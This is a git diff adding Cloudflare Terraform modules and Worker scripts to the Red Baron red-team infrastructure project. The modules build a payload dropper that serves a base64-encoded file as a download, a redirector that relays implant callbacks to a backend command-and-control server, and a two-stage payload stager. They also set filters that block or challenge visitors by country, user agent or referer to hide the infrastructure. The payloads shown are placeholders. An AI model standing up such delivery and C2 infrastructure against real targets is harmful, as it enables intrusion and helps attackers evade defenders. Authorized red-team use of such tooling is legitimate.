diff --git a/README.md b/README.md index a1eedb7..d8b55ff 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,8 @@ +# Red Baron Latest version of this project is now being maintained here: https://github.com/byt3bl33d3r/Red-Baron -# Red Baron -

baron

diff --git a/examples/deploy-cf-infra.tf b/examples/deploy-cf-infra.tf new file mode 100644 index 0000000..9a50699 --- /dev/null +++ b/examples/deploy-cf-infra.tf @@ -0,0 +1,106 @@ +// Minimum required TF version is 0.11.0 +/* +=================================================================================================== +EXAMPLE RED BARON CLOUDFLARE MODULE USAGE + +cloudflare/zone_creation : Creates a DNS zone and proxied CNAME records to benign downstream domain +cloudflare/cf-http-dropper : Creates OpSec filters and a worker script to serve a payload download + using a base-64 encoded string of the file contents. +cloudflare/cf-http-redirector : Creates OpSec filters and a worker script to redirect traffic to a + C2 server (must be name not IP). + Note: Ensure the C2 server only allows inbound traffic from CloudFlare IPs +cloudflare/cf-http-stager : Proof-of-concept module serving a multi-response JSON payload. Implant will need + to make initial and subsequent requests to combine and execute the payload. +=================================================================================================== + +INFORMATION FOR BLOCKING ALL IPs EXCEPT CLOUDFLARE SOURCES TO C2 NODES: + +Cloudflare IPs for inbound .htaccess +grabbed from https://www.cloudflare.com/ips-v4 <- should pull this dynamically +then create a aws-security group for allowed inbound on http-c2 (or http-rdir) +173.245.48.0/20 +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +141.101.64.0/18 +108.162.192.0/18 +190.93.240.0/20 +188.114.96.0/20 +197.234.240.0/22 +198.41.128.0/17 +162.158.0.0/15 +104.16.0.0/12 +172.64.0.0/13 +131.0.72.0/22 + +https://www.linode.com/docs/web-servers/apache/how-to-set-up-htaccess-on-apache/#allow-ips +Create or edit the .htaccess file located in the web directory where you want this setting to be applied. + +Add the following lines to deny all IPs except for the specific IP and pool of IPs mentioned in the command: + +/var/www/html/example.com/public_html +order deny,allow +# Denies all IP's +Deny from all +# This will allow the IP 192.0.2.9 +allow from 192.0.2.9 +# This will allow all IP's from 192.0.2.0 through 192.0.2.255 +allow from 192.0.2 +=================================================================================================== +*/ + +terraform { + required_version = ">= 0.11.0" +} + +module "zone" { + source = "./modules/cloudflare/zone_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected + //you'll need this: ${module.zone.zone_id} +} + +//If you're using C2 then you'll need to make an entry - CloudFlare worker scripts don't work with IPs. +module "record" { + source = "./modules/cloudflare/record_creation" + zone_id = "${module.zone.zone_id}" + + hostname = "images" + type = "A" + server = "1.1.1.1" +} + +module "http-redirector" { + source = "./modules/cloudflare/cf-http-redirector" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + c2_server = "DESTINATION" //the backend C2 server + uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2 + filter_selection = "country" //filter setting (none, country, user_agent, referer, all) + country = "US" //override default filter details +} + +module "http-dropper" { + source = "./modules/cloudflare/cf-http-dropper" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + uri_pattern = "/downloads/*" //the URI that should be redirected to a payload + filter_selection = "country" //filter map setting + filename = "test.bat" //filename to present to user + file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world) +} + + +module "http-stager" { + source = "./modules/cloudflare/cf-http-stager" + zone_id = "${module.zone.zone_id}" + my_domain_name = "DOMAINNAME" //our frontend domain + + first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload + second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload + filter_selection = "country" //filter map setting + first_stage_json = "{\"data\":\"blah\"}" //json payload + second_stage_json = "{\"data\":\"blah\"}" //json payload +} \ No newline at end of file diff --git a/modules/cloudflare/README.md b/modules/cloudflare/README.md new file mode 100644 index 0000000..8b26f97 --- /dev/null +++ b/modules/cloudflare/README.md @@ -0,0 +1,7 @@ +# CloudFlare Modules + +These modules were built to quickly create CloudFlare zones, filters, and worker scripts to serve as red team HTTP redirectors and payload delivery options. + +See blog post on Medium for background and capability walkthrough. Readme in subdirectories detail each module syntax. Example TerraForm config file can be found in examples folder. + +https://medium.com/@wheelsvt/redcloud-learning-from-astaroth-98ea7abd2a2c diff --git a/modules/cloudflare/cf-http-dropper/README.md b/modules/cloudflare/cf-http-dropper/README.md new file mode 100644 index 0000000..61a167a --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/README.md @@ -0,0 +1,36 @@ +# cf-http-dropper + +Creates a HTTP payload dropper all in CloudFlare using Worker scripts. + +# Example + +```hcl +module "http-dropper" { + source = "./modules/cloudflare/cf-http-dropper" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + uri_pattern = "/downloads/*" //the URI that should be redirected to a payload + filter_selection = "country" //filter map setting + filename = "test.bat" //filename to present to user + file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world) +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`uri_pattern` | Yes | String | URI pattern that will redirect to the payload +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`filename` | Yes | String | Filename to send the client +|`file_content` | Yes | String | Base64 encoded file contents +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`visit_action` | No | String | Override Firewall action (block or captcha) +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) diff --git a/modules/cloudflare/cf-http-dropper/main.tf b/modules/cloudflare/cf-http-dropper/main.tf new file mode 100644 index 0000000..321c1c6 --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/main.tf @@ -0,0 +1,33 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "${var.visit_action}" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_script_content = "${replace(replace(var.worker_script_content,"BASE64FILECONTENT",var.file_content),"FILENAME",var.filename)}" + worker_name = "${var.worker_name}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-dropper/variables.tf b/modules/cloudflare/cf-http-dropper/variables.tf new file mode 100644 index 0000000..9ebc503 --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/variables.tf @@ -0,0 +1,71 @@ + +variable "uri_pattern" { + +} + +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-dropper"//won't need to change unless more than one dropper +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "file_content" { +} +variable "filename" { +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +payload = "BASE64FILECONTENT" +function base64Encode (buf) { +let string = ''; +(new Uint8Array(buf)).forEach( +(byte) => { string += String.fromCharCode(byte) } +) +return btoa(string) +} +function base64Decode (string) { +string = atob(string); +const +length = string.length, +buf = new ArrayBuffer(length), +bufView = new Uint8Array(buf); +for (var i = 0; i < length; i++) { bufView[i] = string.charCodeAt(i) } +return buf +} +async function handleRequest(request) { +let response = new Response(base64Decode(payload), { +headers: { 'Content-Disposition': 'attachment; filename="FILENAME"' } +}) +return response}addEventListener('fetch', event => { event.respondWith(handleRequest(event.request))}) +EOF +} + +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} + +variable "visit_action" { + default = "block" +} +variable "description" { + default = "Dropper-Filter" +} + +variable "referer" { + default = "NONE" +} + +variable "country" { + default = "US" +} + diff --git a/modules/cloudflare/cf-http-redirector/README.md b/modules/cloudflare/cf-http-redirector/README.md new file mode 100644 index 0000000..ed61323 --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/README.md @@ -0,0 +1,38 @@ +# cf-http-rdir + +Creates a HTTP payload dropper all in CloudFlare using Worker scripts. +Note: the + +# Example + +```hcl +module "http-redirector" { + source = "./modules/cloudflare/cf-http-redirector" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + c2_server = "DESTINATION" //our backend domain + uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2 + filter_selection = "country" //filter setting (none, country, user_agent, referer, all) + country = "US" //override default filter details +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`c2_server` | Yes | String | FQDN of our C2 server (CloudFlare refuses IPs) +|`uri_pattern` | Yes | String | URI pattern that will redirect to C2 server +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`filename` | Yes | String | Filename to send the client +|`file_content` | Yes | String | Base64 encoded file contents +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) + diff --git a/modules/cloudflare/cf-http-redirector/main.tf b/modules/cloudflare/cf-http-redirector/main.tf new file mode 100644 index 0000000..6e5ffb1 --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/main.tf @@ -0,0 +1,33 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "block" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker-route" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_name = "${var.worker_name}" + worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-redirector/variables.tf b/modules/cloudflare/cf-http-redirector/variables.tf new file mode 100644 index 0000000..6b09a6c --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/variables.tf @@ -0,0 +1,56 @@ + +variable "uri_pattern" { + +} + +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} + +variable "description" { + default = "C2-Filter" +} + +variable "referer" { + default = "NONE" +} + +variable "country" { + default = "US" +} + +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-redirector"//won't need to change unless more than one redirector needed +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "c2_server" { + +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) +/* +* Respond to the request +* @param {Request} +*/ +async function handleRequest(request) { +let url = new URL(request.url) +url.hostname = "C2DOMAIN" +return fetch(url, request) +} +EOF +} diff --git a/modules/cloudflare/cf-http-stager/README.md b/modules/cloudflare/cf-http-stager/README.md new file mode 100644 index 0000000..2439f68 --- /dev/null +++ b/modules/cloudflare/cf-http-stager/README.md @@ -0,0 +1,38 @@ +# cf-http-stager + +Proof-of-concept code for a Worker that sends a multi-request JSON response for an implant (code not created yet) using a combination of the other cf modules. +Note that the second stage request must be a POST as currently configured in the worker script for an example of using different validation checks between payload requests. + +# Example + +```hcl +module "http-stager" { + source = "./modules/cloudflare/cf-http-stager" + zone_id = "${module.zone.zone_id}" + my_domain_name = "DOMAINNAME" //our frontend domain + + first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload + second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload + filter_selection = "country" //filter map setting + first_stage_json = "{\"data\":\"blah\"}" //json payload + second_stage_json = "{\"data\":\"blah\"}" //json payload +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`first_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the first payload +|`second_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the second payload +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`first_stage_json` | Yes | String | JSON response to return for a valid first stage request +|`second_stage_json` | Yes | String | JSON response to return for a valid second stage request +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) diff --git a/modules/cloudflare/cf-http-stager/main.tf b/modules/cloudflare/cf-http-stager/main.tf new file mode 100644 index 0000000..847273c --- /dev/null +++ b/modules/cloudflare/cf-http-stager/main.tf @@ -0,0 +1,59 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter-stage1" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.first_stage_uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall-stage1" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter-stage1.filter_id}" + action = "block" +} + +module "http-filter-stage2" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.second_stage_uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall-stage2" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter-stage2.filter_id}" + action = "block" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker-route-stage1"{ + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.first_stage_uri_pattern)}" + worker_name = "${var.worker_name}1" + worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}" + zid = "${var.zone_id}" +} + +//same worker script handles both as it checks self-generated hand-off +module "worker-route-stage2"{ + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.second_stage_uri_pattern)}" + worker_name = "${var.worker_name}2" + worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-stager/variables.tf b/modules/cloudflare/cf-http-stager/variables.tf new file mode 100644 index 0000000..ca945b3 --- /dev/null +++ b/modules/cloudflare/cf-http-stager/variables.tf @@ -0,0 +1,78 @@ + +variable "first_stage_uri_pattern" { + +} +variable "second_stage_uri_pattern" { + +} +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-stager"//don't need to change default unless we have more than 1 stager module +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "first_stage_json" { + +} + +variable "second_stage_json" { + +} + + +variable "description" { + default = "C2-Filter" +} +//Firewall filter definitions +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} +variable "referer" { + default = "NONE" +} +variable "country" { + default = "US" +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) +function stage_one_handler(request) { +const init = { +headers: { 'content-type': 'application/json' }, +} +//const body = JSON.stringify({ some: 'json' }) +const body = JSON.stringify(SOMEJSON1) +return new Response(body, init) +} +function stage_two_handler(request) { +const init = { +headers: { 'content-type': 'application/json' }, +} +//const body = JSON.stringify({ some: 'json2' }) +const body = JSON.stringify(SOMEJSON2) +return new Response(body, init) +} +async function handleRequest(request) { +let url = new URL(request.url) +if (url.pathname.includes("FIRSTSTAGE")) { +return new stage_one_handler(request) +} +if (request.method === 'POST' && url.pathname.includes("SECONDSTAGE")) { +return new stage_two_handler(request) +} +return new Response( 'Some other time.') +} +EOF +} \ No newline at end of file diff --git a/modules/cloudflare/filter/README.md b/modules/cloudflare/filter/README.md new file mode 100644 index 0000000..131cc78 --- /dev/null +++ b/modules/cloudflare/filter/README.md @@ -0,0 +1,34 @@ +# filter + +Creates a filter to be assigned to a CloudFlare firewall rule + +# Example + +```hcl +module "http-filter-name" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`URI` | No | String | Matching URI pattern to match +|`UA` | No | String | URI pattern that will redirect to the first payload +|`Country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) + +# Outputs + +| Name | Value Type | Description +|---------------------------| ---------- | ----------- +|`filter_id` | Int | Used by Firewall Rules to reference the filter +|`filter_string` | String | String containing the mapped filter selection +|`f_types` | Map | Map of potential firewall filter sets and the rule strings diff --git a/modules/cloudflare/filter/main.tf b/modules/cloudflare/filter/main.tf new file mode 100644 index 0000000..5c64898 --- /dev/null +++ b/modules/cloudflare/filter/main.tf @@ -0,0 +1,6 @@ +resource "cloudflare_filter" "filter" { + zone_id = var.zone_id + description = "" + expression = "${replace(replace(replace(replace("${lookup(var.f_types,var.filter_selection,"na")}", "URISTRING", var.URI), "UASTRING", var.UA), "COUNTRYSTRING", var.Country), "REFERERSTRING", var.referer)}" +} + diff --git a/modules/cloudflare/filter/variables.tf b/modules/cloudflare/filter/variables.tf new file mode 100644 index 0000000..7d4f92f --- /dev/null +++ b/modules/cloudflare/filter/variables.tf @@ -0,0 +1,44 @@ + + + +variable "zone_id" { +} + +variable "URI" { + default = "www" +} + +variable "referer" { + default = "INSERT MOST COMMON UA HERE" +} + +variable "UA" { + default = "INSERT MOST COMMON UA HERE" +} + +variable "Country" { + default = "US" +} + +variable "f_types" { + type = "map" + default = { + "none" = "(http.request.uri contains \"URISTRING\")" + "all" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\") or (http.request.uri contains \"URISTRING\" and http.user_agent ne \"UASTRING\") or (http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")" + "user_agent" = "(http.request.user_agent contains \"URISTRING\" and http.user_agent ne \"USERAGENTSTRING\")" + "referer" = "(http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")" + "country" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\")" + } +} + +output "filter_string" { + value = "${lookup(var.f_types,var.filter_selection,"none")}" +} + +variable "filter_selection" { + default = "country" +} + +output "filter_id" { + value = "${cloudflare_filter.filter.id}" +} \ No newline at end of file diff --git a/modules/cloudflare/firewall_rule/README.md b/modules/cloudflare/firewall_rule/README.md new file mode 100644 index 0000000..5c46b21 --- /dev/null +++ b/modules/cloudflare/firewall_rule/README.md @@ -0,0 +1,24 @@ +# firewall_rule + +Creates a CloudFlare firewall rule + +# Example + +```hcl +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "block" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`description` | Yes | String | Firewall rule name +|`f_id` | Yes | String | CloudFlare Filter ID containing the rule logic +|`action` | No | String | Override the default action (Block vs captcha) diff --git a/modules/cloudflare/firewall_rule/main.tf b/modules/cloudflare/firewall_rule/main.tf new file mode 100644 index 0000000..da9263b --- /dev/null +++ b/modules/cloudflare/firewall_rule/main.tf @@ -0,0 +1,17 @@ + + +resource "random_id" "firewall_rule" { + keepers = { + #Generate a new id each time we switch to a new worker name + name = "${var.description}" + } + byte_length = 8 +} + +resource "cloudflare_firewall_rule" "firewall_rule_agent" { + zone_id = "${var.zone_id}" + description = "${var.description}_${random_id.firewall_rule.hex}" + filter_id = "${var.f_id}" + action = "${var.action}"//challenge or block + //priority = 1000//sets the order - higher is lower, but shouldn't need this if URI matches differ +} \ No newline at end of file diff --git a/modules/cloudflare/firewall_rule/variables.tf b/modules/cloudflare/firewall_rule/variables.tf new file mode 100644 index 0000000..24a2f3e --- /dev/null +++ b/modules/cloudflare/firewall_rule/variables.tf @@ -0,0 +1,14 @@ + variable "zone_id" { + } + + variable "description" { + } + +//filter_id + variable "f_id" { + } + +//block of challenge +variable "action" { + default = "block" +} diff --git a/modules/cloudflare/record_creation/README.md b/modules/cloudflare/record_creation/README.md new file mode 100644 index 0000000..347afef --- /dev/null +++ b/modules/cloudflare/record_creation/README.md @@ -0,0 +1,26 @@ +# filter + +Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules. + +Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules. + +# Example + +```hcl +module "record" { + source = "./modules/cloudflare/record_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + hostname = "www" //the benign domain where non-agents, targets, should be redirected + type = "A" + server = "1.1.1.1" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`my_domain_name` | Yes | String | The domain that CloudFlare should handle +|`hostname` | Yes | String | Benign domain to send any unmatched requests +|`type` | Yes | String | Type of record (A, CNAME, etc.) +|`server` | Yes | String | The backend server this record points to diff --git a/modules/cloudflare/record_creation/main.tf b/modules/cloudflare/record_creation/main.tf new file mode 100644 index 0000000..ad2f814 --- /dev/null +++ b/modules/cloudflare/record_creation/main.tf @@ -0,0 +1,11 @@ +//setup our benign CNAME relay. No need to clone + +//our overall domain +resource "cloudflare_record" "record" { + zone_id = "${var.zone_id}" + name = "${var.hostname}" + type = "${var.type}" + ttl = "1" + proxied = "true" + value = "${var.server}" +} diff --git a/modules/cloudflare/record_creation/variables.tf b/modules/cloudflare/record_creation/variables.tf new file mode 100644 index 0000000..091b54a --- /dev/null +++ b/modules/cloudflare/record_creation/variables.tf @@ -0,0 +1,20 @@ +//this is your domain +variable "my_domain_name" { +} + +variable "zone_id" { + +} + +//By default we'll make a record for the www A record +variable "hostname" { + default = "www" +} + +variable "type" { + default = "A" +} + +variable "server" { + default = "1.1.1.1" +} \ No newline at end of file diff --git a/modules/cloudflare/worker_creation/README.md b/modules/cloudflare/worker_creation/README.md new file mode 100644 index 0000000..4160ed4 --- /dev/null +++ b/modules/cloudflare/worker_creation/README.md @@ -0,0 +1,27 @@ +# worker_creation + +Creates a CloudFlare Worker Route and Worker Script +Note that the matching URI accepts wildcards. + +matching_uri example: `*.example.com\blah*` would match requests CloudFlare handles for all subdomains of example.com that also are requesting a URI that begins with `blah`. + +# Example + +```hcl +module "worker-route" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_name = "${var.worker_name}" + worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}" + zid = "${var.zone_id}" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zid` | Yes | String | Reference to the Zone to host the redirector +|`matching_uri` | Yes | String | URI Pattern to match (use * wildcard) +|`worker_name` | Yes | String | Worker name to use, will append a unique value +|`worker_script_content` | Yes | String | Worker script content diff --git a/modules/cloudflare/worker_creation/main.tf b/modules/cloudflare/worker_creation/main.tf new file mode 100644 index 0000000..e0b6c27 --- /dev/null +++ b/modules/cloudflare/worker_creation/main.tf @@ -0,0 +1,26 @@ +//WORKER SCRIPT CREATION IS BROKEN. +//USE THE DEPLOY SCRIPT TO GENERATE THE WORKER SCRIPT +//WITH MATCHING VARIABLES FROM THIS MODULE. + +// * cloudflare_worker_script.worker_script: error creating worker script: account ID required for enterprise only request + +resource "random_id" "worker_script" { + keepers = { + #Generate a new id each time we switch to a new worker name + name = "${var.worker_name}" + } + byte_length = 8 +} + +resource "cloudflare_worker_script" "worker_script" { + name = "${var.worker_name}_${random_id.worker_script.hex}" + content = "${var.worker_script_content}" +} + +resource "cloudflare_worker_route" "worker_request" { + + pattern = "${var.matching_uri}" + zone_id = "${var.zid}" + script_name = "${var.worker_name}_${random_id.worker_script.hex}" +} + diff --git a/modules/cloudflare/worker_creation/variables.tf b/modules/cloudflare/worker_creation/variables.tf new file mode 100644 index 0000000..27f25af --- /dev/null +++ b/modules/cloudflare/worker_creation/variables.tf @@ -0,0 +1,15 @@ +variable "matching_uri" { +} + +//use this variable to tie instances (route and worker) together +//for a given module +variable "worker_name" { + default = "worker_name" +} + +variable "zid" { +} + +variable "worker_script_content" { + default = "\\test" +} \ No newline at end of file diff --git a/modules/cloudflare/zone_creation/README.md b/modules/cloudflare/zone_creation/README.md new file mode 100644 index 0000000..0e04276 --- /dev/null +++ b/modules/cloudflare/zone_creation/README.md @@ -0,0 +1,25 @@ +# filter + +Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules. + +Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules. + +# Example + +```hcl +module "zone" { + source = "./modules/cloudflare/zone_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected + a_record = "www" + //you'll need this: ${module.zone.zone_id} +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`my_domain_name` | Yes | String | The domain that CloudFlare should handle +|`benign_domain` | Yes | String | Benign domain to send any unmatched requests +|`cname_record` | No | String | Override additional CNAME record entry that should be added, defaults to `www` diff --git a/modules/cloudflare/zone_creation/main.tf b/modules/cloudflare/zone_creation/main.tf new file mode 100644 index 0000000..8dfcee9 --- /dev/null +++ b/modules/cloudflare/zone_creation/main.tf @@ -0,0 +1,83 @@ +//setup our benign CNAME relay. No need to clone + +//our overall domain +resource "cloudflare_zone" "target_domain" { + zone = "${var.my_domain_name}" + plan = "free" +} + +//set the @ record +resource "cloudflare_record" "benign_CNAME" { + zone_id = "${cloudflare_zone.target_domain.id}" + name = "${var.my_domain_name}" + type = "CNAME" + ttl = "1" + proxied = "true" + value = "${var.benign_domain}" +} + +/* +resource "cloudflare_zone_settings_override" "zone_settings_override"{ + zone_id = "${cloudflare_zone.target_domain.id}" + settings { + always_online = "off" + always_use_https = "off" + automatic_https_rewrites = "on" + brotli = "on" + browser_cache_ttl = 1800 + browser_check = "on" + cache_level = "basic" + challenge_ttl = 1800 + cname_flattening = "flatten_at_root" + development_mode = "off" + edge_cache_ttl = 7200 + email_obfuscation = "on" + hotlink_protection = "off" + http2 = "on" + http3 = "off" + ip_geolocation = "on" + ipv6 = "on" + max_upload = 100 + min_tls_version = "1.0" + minify { + css = "off" + html = "off" + js = "off" + } + + mobile_redirect { + mobile_subdomain = "" + status = "off" + strip_uri = false + } + + opportunistic_encryption = "on" + opportunistic_onion = "on" + privacy_pass = "on" + pseudo_ipv4 = "off" + rocket_loader = "off" + security_header { + + enabled = false + include_subdomains = false + max_age = 0 + nosniff = false + preload = false + + } + + security_level = "medium" + server_side_exclude = "on" + sort_query_string_for_cache = "off" + ssl = "full" + tls_1_3 = "on" + tls_client_auth = "off" + waf = "off" + websockets = "on" + zero_rtt = "off" + } +} +*/ +output "zone_id" { + value = "${cloudflare_zone.target_domain.id}" +} \ No newline at end of file diff --git a/modules/cloudflare/zone_creation/variables.tf b/modules/cloudflare/zone_creation/variables.tf new file mode 100644 index 0000000..4dd14af --- /dev/null +++ b/modules/cloudflare/zone_creation/variables.tf @@ -0,0 +1,12 @@ +//this is your domain +variable "my_domain_name" { +} + + +//This is the domain where redirection should +//send requests that aren't matching either your +//agents or other filters +variable "benign_domain" { +} + +